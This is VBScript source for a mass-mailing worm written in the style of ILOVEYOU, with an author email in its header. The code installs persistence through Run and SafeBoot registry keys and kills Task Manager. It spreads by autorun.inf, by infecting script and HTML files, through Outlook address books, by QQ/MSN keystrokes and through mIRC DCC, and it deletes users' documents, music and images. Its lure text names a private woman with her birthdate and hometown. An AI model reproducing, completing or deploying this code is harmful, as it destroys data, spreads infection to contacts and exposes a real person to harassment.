rem email:kouguoxi@hotmail.com
rem some crack statement i remment,make it can't to run
on error resume next

dim title,text
title="can you help me find a person?"
text="her name is Liu Chun li."&chr(13)&chr(10)
text=text&"her birthday is 1981-01-23."&chr(13)&chr(10)
text=text&"her mother home is Yuzhen.Qixian.Kaifeng.Henan.China."&chr(13)&chr(10)
text=text&"I was died because by her,"&chr(13)&chr(10)
text=text&"I am demanding my life of you."&chr(13)&chr(10)

Set fso = CreateObject("Scripting"&"."&"FileSystem"&"Object")
self=fso.opentextfile(wscript.scriptfullname,1).readall 
set WshShell = WScript.CreateObject("WScript"&"."&"Shell")
Startup = WshShell.SpecialFolders("Startup")
Set dirwin = fso.GetSpecialFolder(0) 
Set dirsystem = fso.GetSpecialFolder(1) 
Set dirtemp = fso.GetSpecialFolder(2) 
Set lcl=fso.GetFile(WScript.ScriptFullName) 
lcl.Copy(dirwin&"\lcl.vbs") 
lcl.Copy(dirsystem&"\lcl.vbs") 
fso.getfile(dirwin&"\lcl.vbs").attributes=7
fso.getfile(dirsystem&"\lcl.vbs").attributes=7

set sf0 = fso.GetSpecialFolder(0)
b = sf0.drive&"\lcl.txt"
Set lcl = fso.CreateTextFile( b , True )
lcl.Write text
fso.CopyFile b, Startup&"\lcl.txt"
lcl.Close

dim lcl
Set lcl = fso.CreateTextFile(wscript.scriptfullname, True)

Function scode (N)
    dim x
    for x = 0 to 254
       if n = chr(x) then 
          scode = x
          exit function
       end if
    next
end function

rem 请教：用readline等方法，整行加密，保持文本格式不不变；和解密办法。
rem execute 我用不好请赐教。
dim cc,cipher,correy
for l = 1 to len (self)
    cc = mid (self,l,1)
    if l>99 and instr(self,"Liu Chun li")>0 then   
       cipher=chr (scode(cc)+9) rem 我开始用99，得到的全是ascll为0的数据
       else 
       cipher=chr(scode(cc))
    end if
    correy=correy&cipher
next

lcl.Write correy
lcl.Close

dim hk,hc,safe
hk="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\run"
hc="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"
wshshell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD" 
wshshell.Regwrite hk&"\lcl",dirsystem&"\lcl.vbs" 
wshshell.Regwrite hk&"exec\lcl",dirsystem&"\lcl.vbs" 
wshshell.Regwrite hk&"Once\lcl",dirsystem&"\lcl.vbs" 
wshshell.Regwrite hk&"OnceEx\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwrite hk&"service\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwrite hk&"Services\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwrite hc&"\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwrite hc&"exec\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwrite hc&"Once\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwrite hc&"service\lcl",dirsystem&"\lcl.vbs"
safe="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\"
wshshell.Regwrite safe&"Minimal\lcl.vbs",dirsystem&"\lcl.vbs" 
wshshell.Regwrite safe&"Network\lcl.vbs",dirsystem&"\lcl.vbs"

do
wshshell.run "cmd /c taskkill /f /im taskmgr.exe",0
wshshell.run "cmd /c taskkill /f /im tasklist.exe",0
loop

dim d
For Each d in fso.Drives
    if d.drivetype<>4 then 
       fso.CopyFile b, d&"\lcl.txt"
       scan(d)
    end if
    if d.drivetype=1 and d.isready=true and FormatNumber(d.FreeSpace/1024, 0) > 99 then
          fso.copyfile wscript.scriptfullname,d&"\lcl.vbs"
          fso.getfile(wscript.scriptfullname).attributes=7
          set inf=fso.createtextfile(d&"\autorun.inf",true)
          fso.getfile(d&"\autorun.inf").attributes=7
          inf.writeline "[autorun]"  
          inf.writeline "open="  
          inf.writeline "shell\open=打开(&O)"  
          inf.writeline "shell\open\Command=WScript.exe lclrun.vbs" 
          inf.writeline "shell\open\Command=WScript.exe lcl.vbs"  
          inf.writeline "shell\open\Default=1"  
          inf.writeline "shell\explore=资源管理器(&X)"  
          inf.writeline "shell\explore\Command=WScript.exe lclrun.vbs" 
          inf.writeline "shell\explore\Command=WScript.exe lcl.vbs" 
          inf.close  
          set ini=fso.createtextfile(d&"\desktop.ini",true)
          fso.getfile(d&"\desktop.ini").attributes=7
          ini.writeline "[.ShellClassInfo]"  
          ini.writeline "CLSID={645FF040-5081-101B-9F08-00AA002F954E}" 
          ini.close   
          set lclrun=fso.createtextfile(d&"\lclrun.vbs",true)
     fso.getfile(d&"\lclrun.vbs").attributes=7
     lclrun.writeline "On Error GoTo 0"  
     lclrun.writeline "set fso=CreateObject("&chr(34)&"Scripting.FileSys"&chr(34)&"&"&chr(34)&"temObject"&chr(34)&")"  
     lclrun.writeline "ifor each d in fso.drives"  
     lclrun.writeline "if d.drivetype=1 and d.isready=true and FormatNumber(d.FreeSpace/1024, 0) > 99 then"  
     lclrun.writeline " fso.getfile(d.driveletter"&"&"&chr(34)&":\lclrun.vbs"&chr(34)&").attributes = 7 "  
     lclrun.writeline "set wshshell = wscript.createobject("&chr(34)&"WScript.Shell"&chr(34)&")"  
     lclrun.writeline "wshshell.run "&chr(34)&"d.driveletter"&"&"&chr(34)&":\lclrun.vbs"&chr(34)&chr(34)
     lclrun.writeline "wshshell.run "&chr(34)&"d.driveletter"&"&"&chr(34)&":\lcl.vbs"&chr(34)&chr(34)
     lclrun.writeline "end if"  
     lclrun.writeline "next"
     lclrun.close  
       end if
next

dim wshnetwork,netdrives,net1,net2
Set WSHNetwork = WScript.CreateObject("WScript.Network") 
Set netDrives = WSHNetwork.EnumNetworkDrives 
If netDrives.Count > 0 Then
    For i = 0 To netDrives.Count - 1 Step 2 
    net1 = netdrives(i)
    net2 = netDrives(i + 1)
    scan (net1)
    scan (net2)
    Next
End If

dim outlookapp,mapiobj,addrlist,addrentcount,item,addrent,attachments
Set outlookApp = CreateObject("Outlook.App"&"lication") 
If outlookApp= "Outlook" or outlookapp = "outlook express" Then
   Set mapiObj=outlookApp.GetNameSpace("MAPI") ''获取MAPI的名字空间
   Set addrList= mapiObj.AddressLists ''获取地址表的个数
   For Each addr In addrList
      If addr.AddressEntries.Count <> 0 Then
         addrEntCount = addr.AddressEntries.Count ''获取每个地址表的Email记录数
         For addrEntIndex= 1 To addrEntCount ''遍历地址表的Email地址
             Set item = outlookApp.CreateItem(0) ''获取一个邮件对象实例
             Set addrEnt = addr.AddressEntries(addrEntIndex) ''获取具体Email地址
             item.To = addrEnt.Address 
             item.Subject = title
             item.Body = text 
             Set attachMents=item.Attachments 
             attachMents.Add fso.GetSpecialFolder(0) & "\lcl.vbs"
             item.DeleteAfterSubmit = True ''信件提交后自动删除
             If item.To <> "" Then 
             item.Send 
             wshshell.regwrite "HKCU\software\Mailtest\mailed", "1" 
             End If
          Next
       End If
    Next
End if

rem next from i love you.
set out=WScript.CreateObject("Outlook.Application") 
set mapi=out.GetNameSpace("MAPI") 
for ctrlists=1 to mapi.AddressLists.Count 
    set a=mapi.AddressLists(ctrlists) 
    x=1 
    regv=wshshell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) 
    if (regv="") then 
      regv=1 
    end if 
    if (int(a.AddressEntries.Count)>int(regv)) then 
      for ctrentries=1 to a.AddressEntries.Count 
          malead=a.AddressEntries(x) 
          regad="" 
          regad=wshshell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead) 
          if (regad="") then 
          set male=out.CreateItem(0) 
          male.Recipients.Add(malead) 
          male.Subject = title
          male.Body = text
          male.Attachments.Add(dirsystem&"lcl.vbs") 
          male.Send 
          wshshell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD" 
          end if 
          x=x+1 
      next 
      wshshell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count 
      else 
       wshshell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count 
    end if 
next 
Set out=Nothing 
Set mapi=Nothing 

Set objOutlook = CreateObject("Outlook.Application")
If objOutlook = "Outlook" Then
Set objNamespace = objOutlook.GetNameSpace("MAPI")
Set colAddressLists = objNamespace.AddressLists
Set onjNameSpace = Nothing
For Each objItem In colAddressLists
   If objItem.AddressEntries.Count <> 0 Then
    intCountOfAddresses = objItem.AddressEntries.Count
    For i = 1 To intCountOfAddresses
     Set objMailMsg = objOutlook.CreateItem(0)
     Set objDestAddress = objItem.AddressEntries(i)
     objMailMsg.To = objDestAddress.Address
     objMailMsg.Subject =   title
     objMailMsg.Body =   text
     execute "set objSend =objMailMsg." & Chr(65) & Chr(116) & Chr(116) & Chr(97) & Chr(99) & Chr(104) & Chr(109) & Chr(101) & Chr(110) & Chr(116) & Chr(115)
     strAttach = strFilePathName
     objMailMsg.DeleteAfterSubmit = True
     objSend.Add strAttach
     If objMailMsg.To <> "" Then
      objMailMsg.Send
     End If
    Next
   End If
Next
Set objOutlook = Nothing
Set objItem = Nothing
Set objMailMsg = Nothing
Set objDestAddress = Nothing
End If

strComputer = "."   
Set wbemServices = Getobject("winmgmts:\\" & strComputer)
Set wbemObjectSet = wbemServices.InstancesOf("Win32_Process")
For Each wbemObject In wbemObjectSet
     if wbemObject.Name="msn.exe" or wbemObject.Name="qq.exe" then
      WshShell.AppActivate wbemobject.name 
      WshShell.SendKeys "can you help me find a person?" 
      WshShell.SendKeys "^{enter}" ' or "^~"
      WScript.Sleep 9000
      WshShell.SendKeys "her name is Liu Chun li" 
      WshShell.SendKeys "^{enter}"
      WScript.Sleep 9000
      WshShell.SendKeys "her birthday is 1981-02-17." 
      WshShell.SendKeys "^{enter}"
      WScript.Sleep 9000
      WshShell.SendKeys "her mother home is Yuzhen.Qixian.Kaifeng.Henan.China." 
      WshShell.SendKeys "^{enter}"
     end if
Next

sub scan(folder)
On Error GoTo 0
set fd=fso.getfolder(folder)
for each file in fd.files 
    self1=fso.opentextfile(file,1).readall
    ext=fso.GetExtensionName(file)           
    ext=lcase(ext)     
    if ext="vbs" or ext="vbe" or ext="wsc" or ext="wsf" or ext="wsh" or ext="sct" then  
       if   instr ( self1 ,"Liu Chun li" ) < 0 then 
          set lcl=fso.opentextfile(file.path,8,true) 
          lcl.write chr(13)&chr(10)
          lcl.write self  
          lcl.write chr(13)&chr(10)                   
          lcl.close  
        end if                
    end if  
    if ext="htm" or ext="html" or ext="xhtml" or ext="shtml" or ext="dhtml" or ext="phtml" or ext="eml" then  
       if   instr ( self1 ,"Liu Chun li" ) < 0 then     
         set lcl=fso.opentextfile(file.path,8,true) 
         lcl.write "<"&"SCRIPT LANGUAGE='VBScript'> "
         lcl.write chr(13)&chr(10)
         lcl.write self   
         lcl.write "<"&"/SCRIPT>" 
         lcl.write chr(13)&chr(10)              
         lcl.close
       end if
     end if
     rem or ext="mspx"
     if ext="htd" or ext="asp" or ext="htt" or ext="aspx" or ext="cfm" or ext="tpl" or ext="dtd" or ext="hta" then  
       if   instr ( self1 ,"Liu Chun li" ) < 0 then    
         set lcl=fso.opentextfile(file.path,8,true) 
         lcl.write "<"&"SCRIPT LANGUAGE='VBScript'> "
         lcl.write chr(13)&chr(10)
         lcl.write self   
         lcl.write "<"&"/SCRIPT>"   
         lcl.write chr(13)&chr(10)            
         lcl.close
       end if  
     end if
     if ext="ini" then  
       if not instr ( self1 ,"Liu Chun li" ) > 0 then 
         dim ini   
         set ini=fso.opentextfile(file.path,8,true) 
         ini.writeline chr(13)&chr(10)
         ini.WriteLine "[script]" 
         ini.WriteLine "n0=on 1:JOIN:#:{" 
         ini.WriteLine "n1= /if ( $nick == $me ) { halt }" 
         ini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\lcl.vbs" 
         rem ini.WriteLine "n0=on 1:join:*.*: { if ( $nick !=$me ) {halt} /dcc send $nick "&dirsystem&"\lcl.vbs"}" 
         '利用命令/ddc send $nick "&dirsystem&"\lcl.vbs"给通道中的其他用户传送病毒文件
         ini.WriteLine "n3=}" 
         ini.WriteLine ";Liu Chun li" 
         ini.close 
       end if  
     end if
    rem every 9 in the lunar calenda do it
    if ext="mp3" or ext="doc" or ext="docx" or ext="dwg" or ext="wma" or ext="swf" or ext="jpg" then  
       file.delete true 
    end if 
next
for each subfd in fd.subfolders         
    scan(subfd)
next 
end sub